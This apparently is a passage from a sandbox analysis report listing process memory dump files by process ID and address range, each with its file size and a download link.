memory/1624-473-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1624-463-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/1624-461-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/1624-472-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/1964-502-0x0000000000C30000-0x0000000000D30000-memory.dmp

Filesize
1024KB

Download
memory/1964-475-0x0000000000400000-0x0000000000BB2000-memory.dmp

Filesize
7.7MB

Download
memory/1964-391-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/1964-503-0x0000000000400000-0x0000000000BB2000-memory.dmp

Filesize
7.7MB

Download
memory/1964-344-0x0000000000400000-0x0000000000BB2000-memory.dmp

Filesize
7.7MB

Download
memory/1964-343-0x00000000002A0000-0x00000000002BC000-memory.dmp

Filesize
112KB

Download
memory/1964-495-0x0000000000400000-0x0000000000BB2000-memory.dmp

Filesize
7.7MB

Download
memory/1964-433-0x0000000000400000-0x0000000000BB2000-memory.dmp

Filesize
7.7MB

Download
memory/1964-342-0x0000000000C30000-0x0000000000D30000-memory.dmp

Filesize
1024KB

Download
memory/1964-488-0x0000000000400000-0x0000000000BB2000-memory.dmp

Filesize
7.7MB

Download
memory/1964-476-0x0000000000C30000-0x0000000000D30000-memory.dmp

Filesize
1024KB

Download
memory/2060-447-0x00000000013C0000-0x00000000018E8000-memory.dmp

Filesize
5.2MB

Download
memory/2060-240-0x00000000013C0000-0x00000000018E8000-memory.dmp

Filesize
5.2MB

Download
memory/2156-227-0x0000000000400000-0x0000000000F98000-memory.dmp

Filesize
11.6MB

Download
memory/2156-229-0x0000000002830000-0x0000000002C28000-memory.dmp

Filesize
4.0MB

Download
memory/2156-218-0x0000000000400000-0x0000000000F98000-memory.dmp

Filesize
11.6MB

Download
memory/2156-217-0x0000000002830000-0x0000000002C28000-memory.dmp

Filesize
4.0MB

Download
memory/2156-214-0x0000000002830000-0x0000000002C28000-memory.dmp

Filesize
4.0MB

Download
memory/2160-307-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2160-285-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2288-350-0x0000000009380000-0x00000000098A8000-memory.dmp

Filesize
5.2MB

Download
memory/2288-187-0x0000000004810000-0x0000000004850000-memory.dmp

Filesize
256KB

Download
memory/2288-186-0x0000000074BE0000-0x00000000752CE000-memory.dmp

Filesize
6.9MB

Download
memory/2288-9-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2288-7-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2288-15-0x0000000004810000-0x0000000004850000-memory.dmp

Filesize
256KB

Download
memory/2288-238-0x0000000009380000-0x00000000098A8000-memory.dmp

Filesize
5.2MB

Download
memory/2288-11-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2288-13-0x0000000074BE0000-0x00000000752CE000-memory.dmp

Filesize
6.9MB

Download
memory/2520-388-0x00000000003C0000-0x0000000000AB1000-memory.dmp

Filesize
6.9MB

Download
memory/2520-394-0x00000000011A0000-0x0000000001891000-memory.dmp

Filesize
6.9MB

Download
memory/2520-480-0x00000000011A0000-0x0000000001891000-memory.dmp

Filesize
6.9MB

Download
memory/2520-479-0x00000000003C0000-0x0000000000AB1000-memory.dmp

Filesize
6.9MB

Download
memory/2520-389-0x00000000011A0000-0x0000000001891000-memory.dmp

Filesize
6.9MB

Download
memory/2520-390-0x00000000011A0000-0x0000000001891000-memory.dmp

Filesize
6.9MB

Download
memory/2520-392-0x0000000010000000-0x000000001058B000-memory.dmp

Filesize
5.5MB

Download
memory/2648-0-0x0000000000310000-0x0000000000432000-memory.dmp

Filesize
1.1MB

Download
memory/2648-12-0x0000000074BE0000-0x00000000752CE000-memory.dmp

Filesize
6.9MB

Download
memory/2648-4-0x0000000027380000-0x000000002748C000-memory.dmp

Filesize
1.0MB

Download
memory/2648-3-0x00000000002A0000-0x00000000002BA000-memory.dmp

Filesize
104KB

Download
memory/2648-2-0x0000000004E50000-0x0000000004E90000-memory.dmp

Filesize
256KB

Download
memory/2648-1-0x0000000074BE0000-0x00000000752CE000-memory.dmp

Filesize
6.9MB

Download
memory/2932-279-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/2932-380-0x0000000000400000-0x0000000000965000-memory.dmp

Filesize
5.4MB

Download
memory/2932-471-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/2932-474-0x0000000000400000-0x0000000000965000-memory.dmp

Filesize
5.4MB

Download